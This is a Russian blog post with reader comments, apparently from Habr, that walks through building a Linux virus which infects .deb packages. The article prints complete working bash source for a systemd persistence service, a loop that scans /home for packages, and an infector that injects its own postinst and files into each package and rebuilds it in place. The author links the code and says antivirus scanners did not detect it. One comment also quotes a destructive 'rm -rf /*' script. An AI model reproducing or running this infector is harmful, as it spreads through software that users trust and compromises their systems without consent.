Троянский пингвин: Делаем вирус для Linux

    Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?(да)». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.

    image

    Дисклеймер


    Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.

    И что мы, собственно, будем делать?


    Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».

    Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.

    Что такое deb-пакет?


    Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar

    debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».

    control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.

    data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.

    Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.

    Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb --build ./path.

    Сначала был демон


    На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:

    [Unit]
    Description = XXX
     
    [Service]
    ExecStart=/usr/bin/trojan_penguin.sh
    Type=fork
     
    [Install]
    WantedBy=multi-user.target
    

    ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.

    Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
    Я не видел необходимости в PID-файле, по этому я не стал его добавлять.
    В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.

    Файл /usr/bin/trojan_penguin.sh у меня получился таким:

    #!/bin/bash
    
    #debug=".../Programming/projects/TrojanPenguin"
    debug=""
    
    #создаем папку для записи логов, если таковой нет
    if ! [ -d $debug/var/log/trojan_penguin/ ]; then 
     mkdir $debug/var/log/trojan_penguin
    fi
    
    #работаем в бесконечном цикле,
    #делая паузы по 10 минут
    while [ 1 ] 
    do
      list=$(find /home -name "*.deb") #ищем deb-пакеты
      # для каждого найденного пакета выполняем следующий цикл
      for line in $list
        do
          $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log
        done 
        date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки)
        sleep 600 #пауза (60 * 10 сек = 10 мин)
      done
    

    Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.

    Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории "/usr/bin/", чтобы от туда копировать его в заражаемые пакеты.

    #!/bin/bash
    
    #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin"
    debug=""
    
    systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать
    systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой
    systemctl start trojan_penguin.service #запускаем демон
    

    Модифицируем deb-пакет


    Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:

    #!/bin/bash
    
    #debug=".../Programming/projects/TrojanPenguin"
    debug=""
    temp="$debug/tmp/trojan_penguin"
    
    #создаем временные папки
    mkdir $temp
    mkdir $temp/new
    mkdir $temp/new/DEBIAN
    
    #распакуем пакет
    ar -p $1 data.tar.xz | tar -xJ -C $temp/new
    ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/
    
    #отредактируем control
    #в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля.
    cp $temp/new/DEBIAN/control $temp/orig_control
    cat $temp/orig_control | grep  --before-context=100 Depends | grep -v  Depends > $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control
    echo ", fakeroot, python" >> $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  --after-context=100 Depends | grep -v  Depends >> $temp/new/DEBIAN/control
    
    #скормим пакету наш постинстал
    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst
    
    #достроим дерево с нужными нам директориями, если таковых нет
    if ! [ -d $temp/new/usr ];
    then
    	mkdir $temp/new/usr
    fi
    if ! [ -d $temp/new/usr/bin ];
    then
    	mkdir $temp/new/usr/bin
    fi
    if ! [ -d $temp/new/lib ];
    then
    	mkdir $temp/new/lib
    fi
    if ! [ -d $temp/new/lib/systemd ];
    then
    	mkdir $temp/new/lib/systemd
    fi
    if ! [ -d $temp/new/lib/systemd/system ];
    then
    	mkdir $temp/new/lib/systemd/system
    fi
    
    #копируем наши файлы
    cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh
    cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh
    cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh
    cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/
    
    #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали.
    fakeroot dpkg-deb --build $temp/new
    cp $temp/new.deb $1
    rm -R $temp
    

    Проблемы с postinstall


    Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash...), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:

    Добавил в скрипт tp_infect.sh такую вещь:

    #Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место.
    if [ -f $temp/new/usr/bin/postinst ];
    then
    	cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst
    fi
    

    А в postinstal вот это:

    #выполняем оригинальный постинстал и удаляем его
    if [ -f $debug/usr/bin/tp_orig_postinst ]; then
    	$debug/usr/bin/tp_orig_postinst
    	rm $debug/usr/bin/tp_orig_postinst
    fi
    

    Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:

    if [ -f $temp/new/usr/bin/trojan_penguin.sh ];
    then
    	rm -R $temp
    	exit 0
    fi
    

    Собираем воедино


    Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:

    tp_infect.sh /путь заражаемому deb-пакету/
    

    В репозитории есть две копии скрипта postinst

    DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.

    usr/bin/postinst — это копия вставляется в заражаемые пакеты.

    Итог


    А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.

    Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?

    Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

    В интернете очень мало информации о вирусах для Linux систем, а в частности для семейства linux. Я хочу развить эту тему на Хабре в виде серии из нескольких статей. Прошу, ответить на опрос: какие из тем по вашему мнению являются наиболее интересными?

    • 5,1%Создание вируса, заражающего RPM-пакеты8
    • 10,8%Создание вируса, собирающего данные о пользователях17
    • 29,3%Делаем простой ботнет46
    • 23,6%Методы защиты от вирусов ОС семейства Linux37
    • 8,9%Обзор антивирусных решений для ОС семейства Linux14
    • 12,1%Обзор крупных вирусных атак на ОС семейства Linux19
    • 5,7%Не ограничивайся одним Linux, расширь эту тему до UNIX9
    • 4,5%Мне не интересно про вирусы для ОС семейства Linux7
    • 0,0%Свой вариант (напишу в комментариях)0
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 65

      0
      Как решается проблема с подписью пакета?
        0
        1)Хм, я об этом еще не думал. Если что-то придумаю — напишу статью. Может у вас есть какие либо идеи?
        2)а вы хоть раз проверяли подпись? я встречал людей который сидят в связке root:root, чего уж там о ключах говорить.
          +8
          Ну если кто-то ставит непонятно откуда скачанные пакеты через «dpkg -i» без проверки, то:
          а) он сам себе злобный Буратино
          б) способ распространения данного вируса становится похожим на отправку письма «я очень бедный африканский хакер, поэтому, пожалуйста, запустите приложенный файл самостоятельно»
            +5
            Способ б), пока что, относится ко-всем виденным вариантам вирусов под никсы.
              0

              Кстати, шутки шутками, но я действительно не помню, были под линух нормальные вирусы, жизнеспособные в дикой природе, а не только на тестовом стенде? Всё, что я припоминаю, относится либо к категории червей, либо "бедный африканский хакер", да.

                0
                С вирусами беда — да, зато эксплойтов полно.
                  0
                  конкретно вирусов я тоже не помню, а вот попытки создать формграббер/ддос бот были.
          +2

          Не думаю, что пользователи линукса устанавливают пакеты из неофициальных источников. Просто так скачать где-то непонятный установочный пакет и установить — это прям из ряда вон выходящее.

            +4
            Это самое «из ряда вон выходящее» периодически случается. Тот же хром распространяется deb-пакетом с сайта (при наличии репозитория, который после первой установки прописывается в sources.list). К тому же не очень понятно, считать ли, к примеру, AUR официальным источником. А ещё репозитории периодически оказываются скомпрометированными, как это было в случае с аддонами к Kodi, где пользователей заразили криптомайнером.
              0
              считать ли, к примеру, AUR официальным источником

              там же чёрным по красному написано
              Warning: AUR packages are user produced content. Any use of the provided files is at your own risk.

              wiki.archlinux.org/index.php/Arch_User_Repository
                0

                Если большинство юзеров арча приучено активно использовать AUR, то такие предупреждения — до лампочки, и распространять гадости через AUR вполне реально.
                Для сравнения, в генту чужие оверлеи подключает мало кто, и ставят из них обычно буквально несколько пакетов — что-то заразить таким образом достаточно сложно.

                  0
                  Хз про большинство, но я например не использую AUR, а вообще, для десктопной ОС на базе линукс нужна нормальная песочница, а точнее фронтенд к AppArmor, потому что он умеет всё, что надо, но настраивать конфиги неудобно. Чтоб когда запускаешь новую программу, вылезало окошко с просьбой разрешить программе то или иное действие(доступ в интернет, к определённому файлу, директории, etc), чтоб был дефолтный достаточно безобидный конфиг для всех программ и как минимум 2 режима: для простых пользователей(разрешения на уровне андроида, доступ к интернету, фс, etc) и для продвинутых, где можно выбрать конкретную директорию или даже конкретные файлы и тогда никакой вирус не страшен, не страшны даже большинство 0day(не все конечно). А ещё хорошо бы стандартизировать дефолтные директории для программ, куда они будут складывать свои конфиги, кеш и прочий мусор, а то сейчас кто-то кидает конфиги в ~/.config/app_dir, кто-то в ~/.config/config_file или вообще ~/.app_dir и т.д., чтоб можно было по дефолту давать приложению доступ только к своим файлам.

                  Эх, хотел бы я создать такой дистрибутив с нескучными обоями, но пока квалификации недостаточно.
                    0

                    Я очень-очень много лет назад писал (тогда — в контексте SELinux и RSBAC, не помню был ли тогда AppArmor), что такого не будет, пока авторов приложений не приучат добавлять к ним манифест с описанием что этому приложению нужно. Потому что делать это силами разработчиков дистрибутивов — нереально в принципе (причина проста: сделать это разочек ещё можно, но каждая новая версия приложения может потребовать доступ к новым файлам, причём не в момент запуска, а только если юзер вызовет новую фичу, закопанную в глубинах меню — разработчики дистрибутива такое отслеживать не в состоянии, а вот автору это не очень сложно). С тех пор ничего не изменилось — разве что появился андроид, в котором авторов приложений таки приучили это делать, но на приложениях для десктопа это не сказалось, к сожалению.

                      0
                      а только если юзер вызовет новую фичу, закопанную в глубинах меню — разработчики дистрибутива такое отслеживать не в состоянии

                      Почему? В состоянии, просто во время работы приложения будет появляться окошко с ещё одним разрешением, манифест с описанием, что приложению нужно конечно тоже должен быть, согласен.
                        0

                        Я не имел в виду вариант с окошками. С окошками не всё так просто, потому что в системе полно сервисов, большинство из которых работает под собственными аккаунтами или root, полно приложений командной строки или с полноэкранным текстовым UI… плюс некоторые из них запускаются внутри докер-контейнеров… и большинство из них должны работать и на десктопе и на сервере. Реализовать для них всех запрос доступа через всплывающее окошко технически возможно, но очень непросто, и совсем не поможет на серверах.


                        А главное, в этом нет особого смысла. На десктопах особо нет "приватных данных" исключая файлы юзера и камеру/микрофон — нет ни датчиков, ни GPS, ни списка контактов, ни доступа к SMS… равно как и нет (пока) миллионов мелких игрушек, постоянно устанавливаемых юзерами, почти каждая из которых содержит шпионскиерекламные SDK собирающие все возможные данные о юзере и сливающие их на свои сервера.


                        Поэтому манифест нужен не столько для того, чтобы юзер вручную выдавал разрешения, сколько для того, чтобы в случае взлома приложения эксплоит не получил в системе больше доступа, чем было необходимо для работы взломанного приложения. И такой манифест должны писать авторы приложения, ручное взаимодействие с юзером не требуется.


                        На текущий момент самый реальный способ ограничить доступ любых приложений — запускать их в докер-контейнерах, это даёт возможность легко заблокировать доступ приложения к информации о реальном IP, заблокировать доступ в интернет, и выдать доступ только к определённым подкаталогам домашнего каталога юзера. Но, опять же, нужные ему каталоги сейчас нужно определять методом тыка, если только автор приложения сам не подготовил докер-контейнер и не описал в его документации какие каталоги необходимо прокинуть в контейнер.

                          0
                          Реализовать для них всех запрос доступа через всплывающее окошко технически возможно, но очень непросто, и совсем не поможет на серверах.

                          Так речь про десктоп, а не сервера, а так да, для консольных утилит и всяких сервисов вариант с окошками не всегда подойдёт(кстати, для консольных можно свой аналог окошек в виде обёртки над программой вроде tmux'а, но это костыли) и конфиги решают эту проблему, но для UI приложений, которых тоже очень много на десктопе, вполне подойдёт
                          А главное, в этом нет особого смысла. На десктопах особо нет «приватных данных» исключая файлы юзера и камеру/микрофон — нет ни датчиков, ни GPS, ни списка контактов, ни доступа к SMS…

                          ну так ты ж сам написал, что есть файлы юзера и камера с микрофоном,
                          ни списка контактов, ни доступа к SMS

                          так доступ к файлам, который сейчас есть у всех программ по дефолту, что даёт ещё больше возможностей, как например, возможность украсть печеньки из браузера, также есть доступ к интернету, который хорошо бы иметь возможность ограничивать для программ, которым это не нужно, доступ к системным вызовам вроде kill, которые хорошо бы тоже ограничить и т.д.
                          равно как и нет (пока) миллионов мелких игрушек, постоянно устанавливаемых юзерами, почти каждая из которых содержит шпионскиерекламные SDK собирающие все возможные данные о юзере и сливающие их на свои сервера.

                          вот именно, что пока, игр под линуксы становится всё больше, но даже без этого, откуда доверие ко всем остальным программам? Откуда уверенность, что в них нет 0day?
                          Поэтому манифест нужен не столько для того, чтобы юзер вручную выдавал разрешения, сколько для того, чтобы в случае взлома приложения эксплоит не получил в системе больше доступа, чем было необходимо для работы взломанного приложения. И такой манифест должны писать авторы приложения, ручное взаимодействие с юзером не требуется.

                          Согласен, в этом и основная цель, но ручные взаимодействия тоже нужны, чтоб например параноик мог запретить браузеру доступ к камере и использовать остальные его возможности, а также ручные взаимодействия нужны в том случае, когда манифест никто не написал(все приложения всё равно не портируют, а безопасность нужна)
                          На текущий момент самый реальный способ ограничить доступ любых приложений — запускать их в докер-контейнерах

                          ну, не обязательно докер, можно и просто lxc(докер по сути обёртка над ним), но контейнеры не так удобны, дают небольшой оверхед по потребляемому пространству и плохо интегрируются в десктопную среду(я например слабо представляют как сделать возможность запускать браузер в контейнере из почтового клиента, который находится в другом контейнере).
                            0
                            UI приложений, которых тоже очень много на десктопе

                            Десктопы бывают очень разные. Например у моего GUI приложений, запускаемых хотя бы раз в месяц, очень мало: браузер, pidgin, keepassxc, goldendict, clementine, gqview, urxvt. Да, 7 штук. Есть ещё несколько приложений с доступом к GUI, но это скорее сервисы: conky, dropbox, xxkb, xscreensaver, parcellite, unclutter, ssh-agent, gpg-agent. Ну ещё можно посчитать сам оконный менеджер: fluxbox. Всё остальное у меня происходит в текстовых терминалах, включая работу с файлами (mc), почтой (mutt) и торрентами (rtorrent). С другой стороны, разных процессов у меня запущено в среднем 500-600 штук, пакетов в системе установлено более 1700, бинарников в $PATH более 3700. И у меня никак нет ощущения, что защита десятка десктопных приложений тут хоть как-то в приоритете. Особенно принимая во внимание дикую сложность и кучу дыр в браузере и процессоре, а так же отсутствие в дикой природе вирусов и вредоносных GUI-приложений под линух.


                            возможность украсть печеньки из браузера

                            Практически в 100% случаев, по крайней мере под линухом, их крадут сторонние сайты или расширения браузера, и никакой манифест или окошко тут не поможет.


                            чтоб например параноик мог запретить браузеру доступ к камере

                            Параноик доступ к камере/микрофону предпочитает блокировать хардварной кнопкой/шторкой на девайсе, говорю это как параноик. :)


                            Откуда уверенность, что в них нет 0day?

                            0day есть абсолютно везде. Поэтому и нужны манифесты.


                            я например слабо представляют как сделать возможность запускать браузер в контейнере из почтового клиента, который находится в другом контейнере

                            Я пока это не настраивал, но подозреваю, что это делается "в лоб" — оба контейнера имеют доступ к dbus хоста, и спокойно общаются через него.


                            Вообще, у окошек есть "фатальный недостаток" — юзеры их игнорируют. Прямо сейчас это происходит сплошь и рядом под виндой при запросе UAC, но и под линухом юзеры тоже почти всегда вводят пароль если выскакивает окошко запроса доступа под рутом. А уж на телефонах на разрешения приложений вообще почти никто не смотрит — даже я, хотя и параноик. Не смотрят потому, что из-за рекламных SDK сейчас почти все приложения хотят доступ ко всему, так что выбор сводится к тому, чтобы либо вообще ничего не устанавливать из маркета, либо не обращать внимания на то, что запрашивают приложения и всё разрешать (из страха, что иначе приложение работать не будет). А моя паранойя не протестует против такого подхода по простой причине — я не особо доверяю текущей системе прав доступа, слишком она слабая, поэтому использую для контроля доступа XPrivacyLua и AFWall+, так что мне средне пофиг какие права есть у приложения, реальный доступ я контролирую более надёжными методами.

                              0
                              Особенно принимая во внимание дикую сложность и кучу дыр в браузере и процессоре, а так же отсутствие в дикой природе вирусов и вредоносных GUI-приложений под линух.

                              Речь не только про намеренно добавленные вредоносы, но и про различные уязвимости
                              Практически в 100% случаев, по крайней мере под линухом, их крадут сторонние сайты или расширения браузера, и никакой манифест или окошко тут не поможет.

                              А есть пруфы, что другой сайт может украсть куки? С расширениями, там своя система прав доступа есть, можно не разрешать им доступ к печенькам, и это всё равно не значит, что печеньки надо разрешать читать всем остальным программам
                              0day есть абсолютно везде. Поэтому и нужны манифесты.

                              ну не везде, некоторые программы настолько простые, что там легко можно понять, что 0day не, но я согласен, манифесты нужны, но также нужен способ запускать в такой песочнице неподготовленные программы, в случае с ГУИ программами это отлично решается окошками с запросом прав доступа.
                              Параноик доступ к камере/микрофону предпочитает блокировать хардварной кнопкой/шторкой на девайсе, говорю это как параноик. :)

                              а вот доступ к файлам, инету, системым вызовам шардварной шторкой не заблокируешь)
                              Вообще, у окошек есть «фатальный недостаток» — юзеры их игнорируют. Прямо сейчас это происходит сплошь и рядом под виндой при запросе UAC, но и под линухом юзеры тоже почти всегда вводят пароль если выскакивает окошко запроса доступа под рутом

                              ну, тут они сами себе злобные буратины, защита от дурака нужна, но не от идиота
                              А уж на телефонах на разрешения приложений вообще почти никто не смотрит — даже я, хотя и параноик

                              а вот я смотрю, например
                              Не смотрят потому, что из-за рекламных SDK сейчас почти все приложения хотят доступ ко всему, так что выбор сводится к тому, чтобы либо вообще ничего не устанавливать из маркета, либо не обращать внимания на то, что запрашивают приложения и всё разрешать (из страха, что иначе приложение работать не будет).

                              в рамках дистрибутива это можно решать просто — не пускать в репы приложения, которые хотят доступ ко всей вселенной
                                0
                                кучу дыр в браузере и процессоре

                                куча дыр в браузере при наличии системы прав доступа повлияет только на браузер, он не сможет украсть твои файлы, а вот с дырами в процессоре ничего не поделаешь, т.к. они банально неизвестны, ну и они не так критичны для большинства, т.к. о них знает только агент NSA, который будет применять их против конкретных людей, а не куча скриптскидди, которые будут применять против всех, но это опять же не значит, что система прав доступа не нужна.
                +1
                Мне кажется это вполне частая практика среди начинающих пользователей линукса. Например когда поднимают какое-то оборудование которое не поднялось или ищут какой нибудь аналог виндовых приложений.
                  0
                  А еще есть всякое проприетарное ПО. Например утилиты для работы со смарткартами. Вот их особенно весело ставить из неизвестного источника
                    0
                    Не думаю, что пользователи линукса устанавливают пакеты из неофициальных источников.
                    Вы имеете ввиду только официальный репозиторий? Думаете, что пользователи линукса пользуются голой системой? Конечно же десятки внешних приложений ставят (хром, текстовые редакторы, месенджеры, профессиональный софт, хоббийный софт, бекпорты и ппа и прочее, чего нет в основном репо).
                    Вот только из надежных источников.
                      0

                      Нет, я не имел ввиду только репозиторий, я же не так написал :) "официальные" источники в моем пониманимании и есть "надежные", если вы знаете с кем имеете дело. Я и сам ставил/ставлю пакеты из таких источников, могу припомнить лишь драйвера oss и nvidia, браузер, cedega и ребилд kde3 (trinity). Для всего остального мне вполне хватало репозитория дистрибутива.

                      0
                      Не думаю, что пользователи линукса устанавливают пакеты из неофициальных источников.

                      «Вы, Василий Иванович, думаете, что у кастрюли дно есть» (с) А в идеале-то да, и из неофициальных источников не ставят, и пароль 12345 непопулярен. И под рутом никто не работает. Никогда!
                      +3

                      А как заражённый deb пакет попадёт другим пользователям?

                        +4
                        «Мы ищем deb-пакеты в разделе /home (а где их еще искать то?)» — ROFL.
                        Статья — развернутый вариант анекдота про молдавский вирус.
                          +1
                          а что за анекдот?
                            –3
                            1. Вас в гугле забанили?
                            2. Спасибо, что напомнили; зачистил:

                            bash-4.4$ sudo ls /home
                            bash-4.4$

                              +2
                              Вежливость не ваш конёк.
                            0
                            Сегодня он бедный молдавский вирус, а завтра амиго всем даром и чтоб никто не ушёл.
                            +7
                            Боже, вирус на bash…

                            Я уж думал мне расскажут про то как рализовать свой системный вызов, подменить вызов open, exec, write. Про программирование ядра, shell-код и прочие радости.

                            Не, идея похвальна конечно, но… Ну хотя бы заражение elf-файлов на худой конец (файловый вирус). У меня пакеты не лежат вот просто так, я сразу их устанавливаю и удаляю.
                              0
                              Для DOS были даже полиморфные .bat-вирусы вроде, правда в порядке эксперимента (proof of concept).
                                0
                                У меня была книжка по вирусам. Были очень интересные экземпляры. Были написанные даже на паскале. Но всё это прикольное веселье.
                                  +1
                                  Мои первые попытки были на Паскале, потом на ассемблере. Но так, ничего серьезного, просто интересно было покопаться в недрах ДОСа и БИОСа и обмануть эвристику антивирусов (как сейчас не знаю, а тогда — раз плюнуть).
                                0
                                Шифровальщик таким образом сделать реально. Более того как раз скриптовые вирусы это путь Линукс. Вариантов ОС много, делать сборки подо все — нереально. Поэтому или скриптовые вирусы или сборки под конкретные роутеры.
                                Есть правда и третий путь — пересобираются из исходников на локальном компьютера, благо часто наличествует компилятор
                                  0
                                  Компилятор стоит далеко не везде, скрипты разные бывают. Не везде даже bash есть.
                                    0
                                    естественно. Одна из проблем вирусописательства под Юникса
                                      0

                                      Та ладно. sh есть абсолютно везде. Научитесь писать портабельные шелл-скрипты, и эта проблема исчезнет.

                                        0
                                        Я вообще-то не писатель давно (смайл). А так да, в свое время sh в заголовке скрипта указывал
                                      0

                                      Вообще-то компилятор это просто программа. Если уже попал в систему и можешь выполнить свой шелл-скрипт, то он вполне в состоянии выкачать компилятор и запустить его внутри /tmp, если очень припрёт. Но, по-моему, куда проще выкачать заранее откомпилированное приложение, собранное в статический бинарник. Даже с учётом разных архитектур собрать 3-5 бинарников под разные архитектуры это не сложно. В общем, проблема не в отсутствии компилятора или bash, а в том, что пионеры занимающиеся взломом слишком ленивые и не слишком квалифицированные.

                                        0
                                        проблема тестирования. Видимо банально лень ставить ряд машин для тестов разных систем
                                        И вы правы — подавляющая часть так называемых вирусописателей — используют свободные исходники или покупают готовое. Желающие легко и быстро обогатиться. Но (что грустно) их много.
                                        По оценкам МВД настоящих вирусописателей в стране порядка десятка-двух
                                  +1
                                  бред, с таким же успехом можно распространять такой шелл файл:

                                  #!/usr/bin/env bash
                                  
                                  rm -rf /*
                                  


                                  и называть это вирусом
                                    0
                                    Было. и чуть веселее за счет манглирования )
                                      0
                                      Это который «Эхо тест тест тест… почему не работает?»?
                                        0
                                        Он самый)
                                    0
                                    Это НЕ вирус. Нет механизма распространения.
                                      0
                                      Дописывание своего тела к пакету — это и есть стандартный путь распространения, характерный для вирусов.
                                        0
                                        Вы путаете заражение файлов с распространением между системами.
                                          0

                                          "Компью́терный ви́рус — вид вредоносного программного обеспечения, способного создавать копии самого себя и внедряться в код других программ, системные области памяти, загрузочные секторы, а также распространять свои копии по разнообразным каналам связи."


                                          Иными словами, если программа скрытно копирует себя в другое место, в надежде что она будет там выполнена в будущем, после завершения текущего процесса — это вирус. Заражение локальных файлов вполне подходит под определение. Далеко не все виндовые вирусы обладают собственным активным механизмом распространения по сети, большинство просто даёт возможность пользователям распространить их самостоятельно (через флешки с автозапуском, ручную передачу программ другим пользователям, скачивание их с торрентов/форумов, etc.).

                                            0
                                            В определении не указано ключевое — «без уведомления». То есть скрытность функционала от пользователя тем или иным способом

                                            «не все… обладают собственным активным механизмом распространения по сети» — это черви
                                            " большинство просто даёт возможность пользователям распространить их самостоятельно" — это трояны

                                            Хотя естественно есть и комбинации всех типов
                                              0
                                              "большинство просто даёт возможность пользователям распространить их самостоятельно" — это трояны

                                              Я имел в виду, что когда вирус заражает локальные файлы, то это делается не только из соображений увеличить шансы повторного запуска на этой же системе в будущем, но и в надежде что заражённые файлы будут (если повезёт) скопированы самими пользователями в другие системы. Это — типичное поведение вируса. Троян отличается тем, что не занимается заражением локальных файлов, а просто выполняется при запуске того приложения, в котором уже находится.


                                              «не все… обладают собственным активным механизмом распространения по сети» — это черви

                                              Является ли червём вирус, которые просто скопировал себя в файл, обнаруженный им на сетевом ресурсе (я про виндовые шары)? А если он целевым образом искал файлы именно на сетевых ресурсах? Я вот не уверен… Черви обычно отличаются тем, что проникновение на удалённую систему доводят до логического конца — выполнения своего кода в этой системе. Заражения файлов при этом может вообще не происходить.

                                                0
                                                по первой части — все так

                                                по второй. Не является. Иначе половину шифровальщиков (а они как правило типичные трояны) нужно записать в вирусы/черви

                                                Но вы правы — зачастую все эти признаки перемешиваются
                                                  0
                                                  Не поясните, что такое типичные трояны?
                                                    0
                                                    как правило шифровальщики не имеют механизма саморазмножения — они загружаются и запускаются пользователями. На вскидку и не припомню вирусов, хотя что-то было
                                                    но бывает, что шифровальщики идут в составе вредоносных комплексов. Вот там бывают вирусные компоненты
                                                      0
                                                      Sality не встречали никогда?
                                            0
                                            Я ничего не путаю
                                          0
                                          Точнее это механизм пересборки пакетов в пределах одного компьютера без наличия как таковых вредоносных функций. Почему и не удивительно, что ни один антивирус на такое и не среагировал
                                          0
                                          На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd.


                                          Вот и подросло поколение ВНО…
                                            0
                                            Вот и подросло поколение ВНО…

                                            ???
                                              0
                                              Видимо, это как ЕГЭ, только в другой стране.
                                                0
                                                Да, виноват, забыл как оно называется по-умному :)
                                            +1
                                            Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service)

                                            Просто во многих дистрибутивах с systemd папка /lib — симлинк на /usr/lib (равно как и /bin > /usr/bin).
                                              0
                                              Мне кажется, много «но» в таком способе атаки… Подпись пакета, не опытность пользователя, сомнительный источник пакета…
                                                0
                                                Мы ищем deb-пакеты в разделе /home (а где их еще искать то?)

                                                У меня ищем здесь:

                                                tmpfs 3,8G 0 3,8G 0% /var/cache/apt/archives

                                                Он будет запускаться сразу после установки зараженного пакета и указывать

                                                Не запуститься, так как после перезагрузки старая директория удалится, а при загрузке создастся новая.

                                                Если делать вирус, то встраивать их нужно либо в ядро, либо подгружать модулем. Опять же, мой initramfs содержит параметр most, и в данном случае если никто не обращается к демону, то он не будет запускаться.
                                                  0
